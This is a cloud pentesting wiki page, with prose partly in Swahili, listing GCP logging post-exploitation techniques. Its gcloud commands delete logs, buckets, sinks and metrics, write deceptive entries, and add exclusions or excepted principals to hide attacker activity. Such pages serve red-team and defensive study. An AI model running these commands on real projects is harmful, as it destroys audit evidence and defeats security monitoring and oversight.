GCP - Logging Post Exploitation

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Basic Information

For more information check:

GCP - Logging Enum

For other ways to disrupt monitoring check:

GCP - Monitoring Post Exploitation

Default Logging

Kwa kawaida hutakamatwa kwa kufanya tu vitendo vya kusoma. Kwa maelezo zaidi angalia sehemu ya Logging Enum.

Add Excepted Principal

Katika https://console.cloud.google.com/iam-admin/audit/allservices na https://console.cloud.google.com/iam-admin/audit inawezekana kuongeza wakuu ili wasizalishe kumbukumbu. Mshambuliaji anaweza kutumia hii kuzuia kukamatwa.

Read logs - logging.logEntries.list

# Read logs
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json

# Everything from a timestamp
gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=json

# Use these options to indicate a different bucket or view to use: --bucket=_Required  --view=_Default

logging.logs.delete

# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>

Andika kumbukumbu - logging.logEntries.create

# Write a log entry to try to disrupt some system
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR

logging.buckets.delete

# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=<location>

logging.links.delete

# Delete link
gcloud logging links delete <link-id> --bucket <bucket> --location <location>

logging.views.delete

# Delete a logging view to remove access to anyone using it
gcloud logging views delete <view-id> --bucket=<bucket> --location=global

logging.views.update

# Update a logging view to hide data
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"

logging.logMetrics.update

# Update log based metrics - logging.logMetrics.update
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID

logging.logMetrics.delete

# Delete log based metrics - logging.logMetrics.delete
gcloud logging metrics delete <metric-name>

logging.sinks.delete

# Delete sink - logging.sinks.delete
gcloud logging sinks delete <sink-name>

logging.sinks.update

# Disable sink - logging.sinks.update
gcloud logging sinks update <sink-name> --disabled

# Createa filter to exclude attackers logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --add-exclusion="name=exclude-info-logs,filter=severity<INFO"

# Change where the sink is storing the data - logging.sinks.update
gcloud logging sinks update <sink-name> new-destination

# Change the service account to one withuot permissions to write in the destination - logging.sinks.update
gcloud logging sinks update SINK_NAME --custom-writer-identity=attacker-service-account-email --project=PROJECT_ID

# Remove explusions to try to overload with logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --clear-exclusions

# If the sink exports to BigQuery, an attacker might enable or disable the use of partitioned tables, potentially leading to inefficient querying and higher costs. - logging.sinks.update
gcloud logging sinks update SINK_NAME --use-partitioned-tables
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables

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